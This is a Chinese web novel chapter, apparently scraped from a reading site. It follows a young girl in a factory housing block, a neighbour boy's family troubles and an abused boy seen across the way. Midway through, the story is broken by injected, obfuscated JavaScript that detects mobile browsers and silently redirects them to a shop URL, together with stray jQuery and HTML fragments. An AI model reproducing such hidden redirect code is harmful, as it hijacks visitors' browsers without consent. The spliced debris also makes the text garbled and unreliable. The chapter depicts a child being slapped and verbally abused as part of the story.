空心的大人，闵朝言见过很多。
他们看上去忙忙碌碌地跑来跑去，可是其实人眼睛里并没有什么真正会发光发亮的东西。
但是空心的小孩子，
闵朝言还是第一次见。
她觉得有点意思。
闵长风抱着孩子，不好一直站在外面看热闹，她告别了程新，带着闵朝言从单元楼的另一个入口绕路回了下。
大概一个小时之后，厂里的保卫科的科长来了，和老曲单独说了几句话，那一家人也收拾东西走了。
闵朝言趴在窗户边上看着他们离开，那个瘦瘦小小的孩子还被抱在怀里。
他仿佛注意到了闵朝言的视线，抬头看着她。
但闵朝言却不确定自己的身影，究竟有没有真正进入他的眼睛里去。
晚上闵长风做了一整只鸡。
她手艺很好，能用一只鸡做出来五道菜：鸡骨煲鸡汤，鸡胸肉做手撕鸡，鸡腿要做脆皮香煎，两个鸡全翅能拆成六块够做一道红烧，余下的鸡油用来炒青菜可香了。
刚结婚的时候，闵长风是不会做饭的，她从小应付惯了，对自己也是随便塞一口，丈夫更是不在意吃喝，天天吃大馒头也不抱怨。
两人就这样过了一年多糙日子，直到闵朝言出生，闵长风抱着怀里这个小小的孩子，心里只想着一件事：
她一定要让这个孩子，过上比自己好一百倍的日子。
从那之后，闵长风就开始学做饭了，闵父默默吃了快两年的糊饭糊菜，并在这个过程中学会了使用缝纫机，给女儿做了几十件小衣服。
双工人家庭的生活并不紧巴，但也买不起那些最时髦的小洋装皮鞋，闵父从妻子怀孕起就买了裁缝的书，每天偷着时间看几页。
等闵朝言会走路的时候，她已经是件件衣服都精致漂亮的纺织厂洋娃娃了。
“这个大鸡腿，给言言吃！”
闵长风把整个鸡腿夹给闵朝言，笑眯眯看着女儿。
“妈妈给你买了钙片，以后你晚上吃完饭要吃两片，这样的才长得高。妈妈个子不高，干活的时候可不方便了。”
闵长风出身农村，小时候家里困难，一年见不到两回肉，即便过年杀只鸡，鸡腿也是要给父亲和弟弟吃的，母亲吃一点，大姐吃一点，她就只能分到两口鸡皮了。
她总觉得按自己这个天地都要顶的犟劲儿，本来该长得更高点的。
“不过你爸高，你应该也矮不了。”
她又满意了。
纺织厂里有人里议论，说她不看实际，没挑家庭条件好的男人，反而随着心思找了个又高又帅的穷男人。
但他们知道什么？一个又高又帅的父亲，这是母亲给女儿的第一份礼物：好基因！
闵长风笑着咬下丈夫夹给她的另一只鸡腿，也很亲热地把鸡翅夹给他。
一家人就这么吃完了饭，闵朝言坐在木质沙发上看了一会电视，闵长风又带着几个钢镚过来了。
“言言……”
她说。
“我知道，我去天井玩。”
闵朝言伸出手。
闵长风和丈夫一个月的收入在有一千二百块，除去固定的生活费和人情往来，还能存下三百块。
在三百块里，又有三十块是闵朝言的零花钱，闵长风是很舍得给孩子钱的，她觉得会花钱的孩子，不会眼皮子太浅，轻易被小恩小惠收买。
闵朝言来到天井，坐在台阶上看天空。
“小孩，又出来了？”
倪淮玉手里拿着两根冰棍，递给闵朝言一根。
“什么味道的？”
闵朝言接过。
“橘子味的。”
倪淮玉在她身边坐下，咬了一口冰棍。
“哦。”
闵朝言低下头小口嗦。
“我妈和我爸，今天又吵架了。其实也不算吵架吧，就是我爸单方面发疯。他跟有病一样。”
倪淮玉神色恹恹。踢开脚下的石子。
闵朝言没说话，她忙着吃冰棍，也等着听故事。
“这么多年一直都这样，每一次一吵架，我妈就坐在那里看书，当谁也不存在，我爸又喊又叫地发疯，然后累了自己就回屋了。我呢？我哪儿也去不了，只能自己翻窗出去，去踢石头。”
倪淮玉笑了一声，看着闵朝言：
“我告诉你个好玩的事吧？”
闵朝言听得很专心，点点头。
“我以前叫吴承宗，跟我爸的姓。后来我妈成车间主任了，我爸还是普通工人，我妈就说了，要是不给我改姓，她就离婚。”
倪淮玉说起这个，笑得很开心，
“你没看见我爸当时那个脸色，铁青铁青的，像个大青虫！哈哈哈哈——他一开始不同意，我妈就说，那她就把他的那些杂志扔出去给别人看！你知道什么杂志？就是那种……”
说到这里，倪淮玉停下了，摆摆手，
“算了，这个以后再告诉你，反正最后他憋憋屈屈同意了，太好玩儿了！”
闵朝言点点头，说：
“倪淮玉好听。”
“对啊，我妈是高中生，有点文化的。要不是当初我姥爷非逼她结婚，她肯定不找我爸。”
倪淮玉点点头：
“吴承宗多土啊，我才不想承他们老吴家那个破宗呢，每次过年回去都是烟味，臭死了！不过，以后我们估计也不用再回去了，挺好。”
倪淮玉自顾自笑了一阵，三下两下咬完手里的冰棍，轻轻用鞋尖碰了一下闵朝言的鞋子。
“谢谢你，小孩。这种话，我谁也不能说，总觉得憋屈，现在和你说了，心情好点了。”
他说。
闵朝言眨了眨眼，点头：
“嗯，故事很有趣。”
“怎么，我的悲惨人生就是你的故事会啊？”
倪淮玉又笑开了，手撑在台阶上，大大咧咧地说：
“那你就有福气了，这种故事呀，我还有好多好多可以讲呢。”
闵朝言在天井底下坐了一个小时，和倪淮玉一起往回走，两家是隔壁，离得很近。
“阿姨，我把小孩送回来了。”
倪淮玉对着闵长风问好。
“谢谢小倪了，要不要进来坐坐，阿姨给你切点水果！”
闵长风笑着回应。
“谢谢阿姨，不用啦，我先回去写作业了。明天早上我和小孩一起上学吧？”
倪淮玉摇头。
“那就麻烦你啦！到时候阿姨给你做好吃的！”
闵长风应下。
进了房门，闵长风抱着女儿亲了亲，又嘱咐道：
“你和小倪哥哥说什么了？就你们俩在底下坐着吗？有别人看见吗？他有没有碰你哪里？”
闵长风是信得过倪主任的人品的，照理来说，她也应该相信倪主任儿子的人品，不过倪淮玉那个爹……
虽说有可能歹竹出好笋呢，但也不能真的什么也不问。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623227|182368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“没有。”
闵朝言摇头。
倪淮玉从头到尾就是给了她一个冰棍，用自己的鞋碰了碰闵朝言的鞋。
“明天哥哥陪你去上学，你要是不喜欢的话，妈妈就提前送你过去？”
闵长风又问。
“没关系，我和倪淮玉是朋友。”
闵朝言又摇头。
“要叫哥哥，人家大你不少呢。朋友就朋友吧，但是要是他想碰你哪里，你一定要躲开，然后告诉妈妈，好不好？”
闵长风给闵朝言蒸了苹果，苹果水在冰箱里放一会儿，凉凉的，但不算冰。
“好。”
闵朝言喝了一口苹果水，回自己房间睡觉了。
以前在职工宿舍里，她家是没有房间的，闵长风用一个帘子挂在中间，给女儿一点隐私。现在搬进了两室一厅，闵朝言终于有自己正经的房间了。
闵长风原本打算好了把大房间给女儿，但闵朝言自己背着小书包进了小卧室，她觉得妈妈和爸爸两个大人在这个小房间里睡觉，会很挤。
闵朝言打开小房间的窗户。
职工家属楼的楼间距都很窄，大约十二米，闵朝言的房间刚刚好在单元楼的折角，和四号楼的一边折角相对，两边的距离就更近了，可能只有不到五米。
闵朝言的视力很好，可以清晰看到对面窗户里的内容。
对面那个房子原本一直是空着的，今天却堆满了东西，窗台前半被搭出来一个简易的晾衣架，一个小男孩正在吃力地将浸满了水的衣服挂上去。
闵朝言记得他，这是她下午回来时候见到的那个，曲家的“侄子”。
不过，在闵朝言的记忆里，
他真正的名字是“空心小孩”。
那件衣服明显是大人的身材，上面的水一点都没有拧干，还在滴滴答答往下落，落在了下面邻居的衣架上。
“喂！你怎么晾衣服的！”
楼下弹出头来骂，看到是个孩子的时候又卡壳了一下，大声说：
“叫你们家大人出来！”
“干什么呢？吵吵嚷嚷的！”
曲家大儿子探出头来，声音洪亮刺耳。
“你看看你们家小孩儿干的什么活？赶紧把衣服收回去！”
邻居喊。
“你看看你干的什么活？！没教养的东西！会不会说话？啊？！”
曲老大一巴掌扇在男孩脸上，声音更响了，带着浓浓指桑骂槐的意味。
“废物！没用的东西！会不会说话？会不会干活？天天吃白饭的玩意儿，会挂衣服了不起？这都什么破衣服？！没用的货……”
比辱骂更刺耳的一下一下的巴掌声，男孩站在原地，脸很快一片通红肿了起来。
他却一动不动，好像根本就没听见那些辱骂，也没有感受到任何疼痛。
……
好吵。
闵朝言轻轻叹了口气，关上了窗户，又把窗帘拉上了。
在那窗帘被拉上之前，男孩的视线悄悄抬起，落在对面的窗户。
一个亮着灯光的房间，房间被耍上了淡蓝色的油漆，有一张对于小朋友来说很大的床，有一张崭新的书桌，上面摆着新华字典和各种故事书。
书桌前面坐着一个女孩，她很白，头发扎成精致的四股辫，落在肩膀上，在拉上窗帘前，她曾经短暂地看了他一眼。
在那一眼里，那些他早就已经习惯到麻木的伤，
开始刺骨地疼起来。